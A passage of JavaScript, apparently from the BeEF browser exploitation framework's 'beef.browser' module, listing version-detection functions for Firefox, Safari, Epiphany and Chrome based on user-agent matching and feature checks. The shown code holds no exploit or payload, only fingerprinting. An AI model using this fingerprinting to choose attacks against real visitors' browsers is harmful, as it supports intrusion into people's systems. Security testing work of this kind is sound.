3722 return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/17\./) != null;
3723 },
3724
3725 /**
3726 * Returns true if FF18
3727 * @example: beef.browser.isFF18()
3728 */
3729 isFF18: function () {
3730 return !!window.devicePixelRatio && !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/18\./) != null;
3731 },
3732
3733 /**
3734 * Returns true if FF19
3735 * @example: beef.browser.isFF19()
3736 */
3737 isFF19: function () {
3738 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && window.navigator.userAgent.match(/Firefox\/19\./) != null;
3739 },
3740
3741 /**
3742 * Returns true if FF20
3743 * @example: beef.browser.isFF20()
3744 */
3745 isFF20: function () {
3746 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && window.navigator.userAgent.match(/Firefox\/20\./) != null;
3747 },
3748
3749 /**
3750 * Returns true if FF21
3751 * @example: beef.browser.isFF21()
3752 */
3753 isFF21: function () {
3754 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/21\./) != null;
3755 },
3756
3757 /**
3758 * Returns true if FF22
3759 * @example: beef.browser.isFF22()
3760 */
3761 isFF22: function () {
3762 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/22\./) != null;
3763 },
3764
3765 /**
3766 * Returns true if FF23
3767 * @example: beef.browser.isFF23()
3768 */
3769 isFF23: function () {
3770 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/23\./) != null;
3771 },
3772
3773 /**
3774 * Returns true if FF24
3775 * @example: beef.browser.isFF24()
3776 */
3777 isFF24: function () {
3778 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/24\./) != null;
3779 },
3780
3781 /**
3782 * Returns true if FF25
3783 * @example: beef.browser.isFF25()
3784 */
3785 isFF25: function () {
3786 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/25\./) != null;
3787 },
3788
3789 /**
3790 * Returns true if FF26
3791 * @example: beef.browser.isFF26()
3792 */
3793 isFF26: function () {
3794 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/26./) != null;
3795 },
3796
3797 /**
3798 * Returns true if FF27
3799 * @example: beef.browser.isFF27()
3800 */
3801 isFF27: function () {
3802 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && window.navigator.userAgent.match(/Firefox\/27./) != null;
3803 },
3804
3805 /**
3806 * Returns true if FF28
3807 * @example: beef.browser.isFF28()
3808 */
3809 isFF28: function () {
3810 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt !== 'function' && window.navigator.userAgent.match(/Firefox\/28./) != null;
3811 },
3812
3813 /**
3814 * Returns true if FF29
3815 * @example: beef.browser.isFF29()
3816 */
3817 isFF29: function () {
3818 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/29./) != null;
3819 },
3820
3821 /**
3822 * Returns true if FF30
3823 * @example: beef.browser.isFF30()
3824 */
3825 isFF30: function () {
3826 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/30./) != null;
3827 },
3828
3829 /**
3830 * Returns true if FF31
3831 * @example: beef.browser.isFF31()
3832 */
3833 isFF31: function () {
3834 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/31./) != null;
3835 },
3836
3837 /**
3838 * Returns true if FF32
3839 * @example: beef.browser.isFF32()
3840 */
3841 isFF32: function () {
3842 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/32./) != null;
3843 },
3844
3845 /**
3846 * Returns true if FF33
3847 * @example: beef.browser.isFF33()
3848 */
3849 isFF33: function () {
3850 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/33./) != null;
3851 },
3852
3853 /**
3854 * Returns true if FF34
3855 * @example: beef.browser.isFF34()
3856 */
3857 isFF34: function () {
3858 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/34./) != null;
3859 },
3860
3861 /**
3862 * Returns true if FF35
3863 * @example: beef.browser.isFF35()
3864 */
3865 isFF35: function () {
3866 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/35./) != null;
3867 },
3868
3869 /**
3870 * Returns true if FF36
3871 * @example: beef.browser.isFF36()
3872 */
3873 isFF36: function () {
3874 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/36./) != null;
3875 },
3876
3877 /**
3878 * Returns true if FF37
3879 * @example: beef.browser.isFF37()
3880 */
3881 isFF37: function () {
3882 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/37./) != null;
3883 },
3884
3885 /**
3886 * Returns true if FF38
3887 * @example: beef.browser.isFF38()
3888 */
3889 isFF38: function () {
3890 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/38./) != null;
3891 },
3892
3893 /**
3894 * Returns true if FF39
3895 * @example: beef.browser.isFF39()
3896 */
3897 isFF39: function () {
3898 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/39./) != null;
3899 },
3900
3901 /**
3902 * Returns true if FF40
3903 * @example: beef.browser.isFF40()
3904 */
3905 isFF40: function () {
3906 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/40./) != null;
3907 },
3908
3909 /**
3910 * Returns true if FF41
3911 * @example: beef.browser.isFF41()
3912 */
3913 isFF41: function () {
3914 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/41./) != null;
3915 },
3916
3917 /**
3918 * Returns true if FF42
3919 * @example: beef.browser.isFF42()
3920 */
3921 isFF42: function () {
3922 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/42./) != null;
3923 },
3924
3925 /**
3926 * Returns true if FF43
3927 * @example: beef.browser.isFF43()
3928 */
3929 isFF43: function () {
3930 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/43./) != null;
3931 },
3932
3933 /**
3934 * Returns true if FF44
3935 * @example: beef.browser.isFF44()
3936 */
3937 isFF44: function () {
3938 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/44./) != null;
3939 },
3940
3941 /**
3942 * Returns true if FF45
3943 * @example: beef.browser.isFF45()
3944 */
3945 isFF45: function () {
3946 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/45./) != null;
3947 },
3948
3949 /**
3950 * Returns true if FF46
3951 * @example: beef.browser.isFF46()
3952 */
3953 isFF46: function () {
3954 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/46./) != null;
3955 },
3956
3957 /**
3958 * Returns true if FF47
3959 * @example: beef.browser.isFF47()
3960 */
3961 isFF47: function () {
3962 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/47./) != null;
3963 },
3964
3965 /**
3966 * Returns true if FF48
3967 * @example: beef.browser.isFF48()
3968 */
3969 isFF48: function () {
3970 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/48./) != null;
3971 },
3972
3973 /**
3974 * Returns true if FF49
3975 * @example: beef.browser.isFF49()
3976 */
3977 isFF49: function () {
3978 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/49./) != null;
3979 },
3980
3981 /**
3982 * Returns true if FF50
3983 * @example: beef.browser.isFF50()
3984 */
3985 isFF50: function () {
3986 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/50./) != null;
3987 },
3988
3989 /**
3990 * Returns true if FF51
3991 * @example: beef.browser.isFF51()
3992 */
3993 isFF51: function () {
3994 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/51./) != null;
3995 },
3996
3997 /**
3998 * Returns true if FF52
3999 * @example: beef.browser.isFF52()
4000 */
4001 isFF52: function () {
4002 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/52./) != null;
4003 },
4004
4005 /**
4006 * Returns true if FF53
4007 * @example: beef.browser.isFF53()
4008 */
4009 isFF53: function () {
4010 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/53./) != null;
4011 },
4012
4013 /**
4014 * Returns true if FF54
4015 * @example: beef.browser.isFF54()
4016 */
4017 isFF54: function () {
4018 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/54./) != null;
4019 },
4020
4021 /**
4022 * Returns true if FF55
4023 * @example: beef.browser.isFF55()
4024 */
4025 isFF55: function () {
4026 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/55./) != null;
4027 },
4028
4029 /**
4030 * Returns true if FF56
4031 * @example: beef.browser.isFF56()
4032 */
4033 isFF56: function () {
4034 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/56./) != null;
4035 },
4036
4037 /**
4038 * Returns true if FF57
4039 * @example: beef.browser.isFF57()
4040 */
4041 isFF57: function () {
4042 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/57./) != null;
4043 },
4044
4045 /**
4046 * Returns true if FF58
4047 * @example: beef.browser.isFF58()
4048 */
4049 isFF58: function () {
4050 return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/58./) != null;
4051 },
4052
4053 /**
4054 * Returns true if FF.
4055 * @example: beef.browser.isFF()
4056 */
4057 isFF: function () {
4058 return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14() || this.isFF15() || this.isFF16() || this.isFF17() || this.isFF18() || this.isFF19() || this.isFF20() || this.isFF21() || this.isFF22() || this.isFF23() || this.isFF24() || this.isFF25() || this.isFF26() || this.isFF27() || this.isFF28() || this.isFF29() || this.isFF30() || this.isFF31() || this.isFF32() || this.isFF33() || this.isFF34() || this.isFF35() || this.isFF36() || this.isFF37() || this.isFF38() || this.isFF39() || this.isFF40() || this.isFF41() || this.isFF42() || this.isFF43() || this.isFF44() || this.isFF45() || this.isFF46() || this.isFF47() || this.isFF48() || this.isFF49() || this.isFF50() || this.isFF51() || this.isFF52() || this.isFF53() || this.isFF54() || this.isFF55() || this.isFF56() || this.isFF57() || this.isFF58();
4059 },
4060
4061 /**
4062 * Returns true if Safari 4.xx
4063 * @example: beef.browser.isS4()
4064 */
4065 isS4: function () {
4066 return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/4/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
4067 },
4068
4069 /**
4070 * Returns true if Safari 5.xx
4071 * @example: beef.browser.isS5()
4072 */
4073 isS5: function () {
4074 return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/5/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
4075 },
4076
4077 /**
4078 * Returns true if Safari 6.xx
4079 * @example: beef.browser.isS6()
4080 */
4081 isS6: function () {
4082 return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/6/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
4083 },
4084
4085 /**
4086 * Returns true if Safari 7.xx
4087 * @example: beef.browser.isS7()
4088 */
4089 isS7: function () {
4090 return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/7/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
4091 },
4092
4093 /**
4094 * Returns true if Safari 8.xx
4095 * @example: beef.browser.isS8()
4096 */
4097 isS8: function () {
4098 return (window.navigator.userAgent.match(/ Version\/\d/) != null && window.navigator.userAgent.match(/Safari\/8/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
4099 },
4100
4101 /**
4102 * Returns true if Safari.
4103 * @example: beef.browser.isS()
4104 */
4105 isS: function () {
4106 return this.isS4() || this.isS5() || this.isS6() || this.isS7() || this.isS8();
4107 },
4108
4109 /**
4110 * Returns true if Webkit based
4111 *
4112 * **** DUPLICATE WARNING **** Changes here may aldo need addressed in /isS\d+/ functions.
4113 */
4114 isWebKitBased: function () {
4115 return (!window.opera && !window.chrome
4116 && window.navigator.userAgent.match(/ Version\/\d/) != null
4117 && !window.globalStorage
4118 && !!window.getComputedStyle
4119 && !("MozWebSocket" in window));
4120 },
4121
4122 /**
4123 * Return true if Epiphany
4124 * @example: beef.browser.isEpi()
4125 */
4126 isEpi: function () {
4127 // Epiphany is based on webkit
4128 // due to the uncertainty of webkit version vs Epiphany versions tracking.
4129 // -- do webkit based checking (i.e. do safari checks)
4130 return this.isWebKitBased() && window.navigator.userAgent.match(/Epiphany\//) != null;
4131 },
4132
4133
4134 /**
4135 * Returns true if Chrome 5.
4136 * @example: beef.browser.isC5()
4137 */
4138 isC5: function () {
4139 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 5) ? true : false);
4140 },
4141
4142 /**
4143 * Returns true if Chrome 6.
4144 * @example: beef.browser.isC6()
4145 */
4146 isC6: function () {
4147 return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 6) ? true : false);
4148 },
4149
4150 /**
4151 * Returns true if Chrome 7.
4152 * @example: beef.browser.isC7()
4153 */
4154 isC7: function () {
4155 return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 7) ? true : false);
4156 },
4157
4158 /**
4159 * Returns true if Chrome 8.
4160 * @example: beef.browser.isC8()
4161 */
4162 isC8: function () {
4163 return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 8) ? true : false);
4164 },
4165
4166 /**
4167 * Returns true if Chrome 9.
4168 * @example: beef.browser.isC9()
4169 */
4170 isC9: function () {
4171 return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 9) ? true : false);
4172 },
4173
4174 /**
4175 * Returns true if Chrome 10.
4176 * @example: beef.browser.isC10()
4177 */
4178 isC10: function () {
4179 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 10) ? true : false);
4180 },
4181
4182 /**
4183 * Returns true if Chrome 11.
4184 * @example: beef.browser.isC11()
4185 */
4186 isC11: function () {
4187 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 11) ? true : false);
4188 },
4189
4190 /**
4191 * Returns true if Chrome 12.
4192 * @example: beef.browser.isC12()
4193 */
4194 isC12: function () {
4195 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 12) ? true : false);
4196 },
4197
4198 /**
4199 * Returns true if Chrome 13.
4200 * @example: beef.browser.isC13()
4201 */
4202 isC13: function () {
4203 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 13) ? true : false);
4204 },
4205
4206 /**
4207 * Returns true if Chrome 14.
4208 * @example: beef.browser.isC14()
4209 */
4210 isC14: function () {
4211 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 14) ? true : false);
4212 },
4213
4214 /**
4215 * Returns true if Chrome 15.
4216 * @example: beef.browser.isC15()
4217 */
4218 isC15: function () {
4219 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 15) ? true : false);
4220 },
4221
4222 /**
4223 * Returns true if Chrome 16.
4224 * @example: beef.browser.isC16()
4225 */
4226 isC16: function () {
4227 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 16) ? true : false);
4228 },
4229
4230 /**
4231 * Returns true if Chrome 17.
4232 * @example: beef.browser.isC17()
4233 */
4234 isC17: function () {
4235 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 17) ? true : false);
4236 },
4237
4238 /**
4239 * Returns true if Chrome 18.
4240 * @example: beef.browser.isC18()
4241 */
4242 isC18: function () {
4243 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 18) ? true : false);
4244 },
4245
4246 /**
4247 * Returns true if Chrome 19.
4248 * @example: beef.browser.isC19()
4249 */
4250 isC19: function () {
4251 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 19) ? true : false);
4252 },
4253
4254 /**
4255 * Returns true if Chrome for iOS 19.
4256 * @example: beef.browser.isC19iOS()
4257 */
4258 isC19iOS: function () {
4259 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 19) ? true : false);
4260 },
4261
4262 /**
4263 * Returns true if Chrome 20.
4264 * @example: beef.browser.isC20()
4265 */
4266 isC20: function () {
4267 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 20) ? true : false);
4268 },
4269
4270 /**
4271 * Returns true if Chrome for iOS 20.
4272 * @example: beef.browser.isC20iOS()
4273 */
4274 isC20iOS: function () {
4275 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 20) ? true : false);
4276 },
4277
4278 /**
4279 * Returns true if Chrome 21.
4280 * @example: beef.browser.isC21()
4281 */
4282 isC21: function () {
4283 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 21) ? true : false);
4284 },
4285
4286 /**
4287 * Returns true if Chrome for iOS 21.
4288 * @example: beef.browser.isC21iOS()
4289 */
4290 isC21iOS: function () {
4291 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 21) ? true : false);
4292 },
4293
4294 /**
4295 * Returns true if Chrome 22.
4296 * @example: beef.browser.isC22()
4297 */
4298 isC22: function () {
4299 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 22) ? true : false);
4300 },
4301
4302 /**
4303 * Returns true if Chrome for iOS 22.
4304 * @example: beef.browser.isC22iOS()
4305 */
4306 isC22iOS: function () {
4307 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 22) ? true : false);
4308 },
4309
4310 /**
4311 * Returns true if Chrome 23.
4312 * @example: beef.browser.isC23()
4313 */
4314 isC23: function () {
4315 return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 23) ? true : false);
4316 },
4317
4318 /**
4319 * Returns true if Chrome for iOS 23.
4320 * @example: beef.browser.isC23iOS()
4321 */
4322 isC23iOS: function () {
4323 return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 23) ? true : false);
4324 },
4325
4326 /**
4327 * Returns true if Chrome 24.
4328 * @example: beef.browser.isC24()
4329 */
4330 isC24: function () {
